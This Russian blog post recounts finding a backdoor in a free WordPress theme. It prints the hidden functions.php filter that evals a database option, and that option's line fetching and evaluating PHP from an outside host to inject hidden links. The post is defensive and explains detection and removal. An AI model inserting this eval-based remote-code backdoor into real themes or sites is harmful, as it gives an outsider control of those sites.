    Первым делом я конечно же начал проверять данный файл, изучал его содержимое, сканировал всевозможными антивирусами, десятками онлайн сервисов по проверке на вирусы и т.д. — в итоге ничего не обнаружил, все в один голос утверждали что файл совершенно безопасный. Я разумеется выразил свои сомнения хостеру, мол вы чего-то напутали, но на всякий случай попросил их предоставить отчет об обнаружении вредоносного куска кода.

    И вот что они мне ответили

    Пошел гуглить инфу о данном коде и серьезно задумался…

    Как найти фрагмент вредоносного кода в шаблоне

    Как оказалось, это действительно нетривиальный прием, который позволяет заинтересованным лицам передавать данные на ваш сайт и изменять содержимое страниц без вашего ведома! Если вы используете бесплатный шаблон, то настоятельно рекомендую проверить свой functions.php на наличие следующего кода :

    add_filter(‘the_content’, ‘_bloginfo’, 10001);
    function _bloginfo($content){
    global $post;
    if(is_single() && ($co=@eval(get_option(‘blogoption’))) !== false){
    return $co;
    } else return $content;
    }

    Даже с моими весьма неглубокими познаниями в php видно, что создается некий фильтр, привязываемый к глобальной переменной post и content отвечающие за вывод контента только на страницах записей блога (условие is_single). Уже подозрительно не так ли? Ну а теперь посмотрим что же такого собирается выводить данный код у нас на сайте.

    Интересная опция blogoption запрашиваемая в базе данных так же выглядит весьма подозрительной. Заходим в нашу базу данных MySQL и находим там таблицу под названием wp_options, если вы не меняли префиксы то она так будет выглядеть по умолчанию. И в ней находим заинтересовавшую нас строку под названием blogoption

    Какая красота! Мы видим следующую опцию


    return eval(file_get_contents(‘http://wpru.ru/aksimet.php?id=’.$post->ID.’&m=47&n’));

    Т.е. нам с некого сайта (причем русского заметьте) возвращают содержимое, которое может нести в себе все что угодно! Любое количество ссылок, вредоносные коды, измененный текст и т.д. Сам сайт при заходе на него выдает 403 ошибку доступа, что не удивительно. Разумеется данную опцию я тоже удалил из БД.

    По информации от пострадавших обычно возвращается точно такое содержимое вашей статьи с одной лишь модификацией — вместо какой-либо точки «.» в текст маскировалась открытая ссылка! И кстати, данная опция записывается в базу данных при установке самого шаблона, а затем код, который это делает благополучно самоуничтожается. И вот с такой дрянью я жил два года, и ни один антивирус или сервис мне так и не выявил данную угрозу за все то время. Честно говоря я не замечал, срабатывал ли когда-нибудь со мной такой прием, или же эту возможность блокировал мой плагин безопасности (а может одно из обновлений WordPressa закрыло эту дыру), но все равно неприятно.

    Мораль про бесплатный сыр

    Как вам изощренность наших «переводчиков» шаблонов (или тех кто выкладывает их у себя в каталогах)? Это вам не ссылки из футера выпиливать) Жалко я уже не помню, откуда я скачивал свой шаблон, давно это было, а то бы обязательно пару ласковых написал. И если бы на тот момент обладал тем же опытом, что имею сейчас, то однозначно не пользовался бы бесплатным шаблоном, или на крайний случай не качал бы с неизвестных источников!

    Проще купить какой-нибудь официальный премиум шаблон за 15-20 баксов на том же и жить спокойно, зная что в нем нет дырок и зашифрованных ссылок, а если даже и найдутся уязвимости, то разработчики обязательно выпустят обновление, в котором эти дырки закроют. (У Артема кстати недавно вышла статья, где он как раз про премиум шаблоны рассказывает и даже раздает промокоды на зверские скидки, кому интересно )



    Есть вопросы?

    Сообщить об опечатке

    Текст, который будет отправлен нашим редакторам: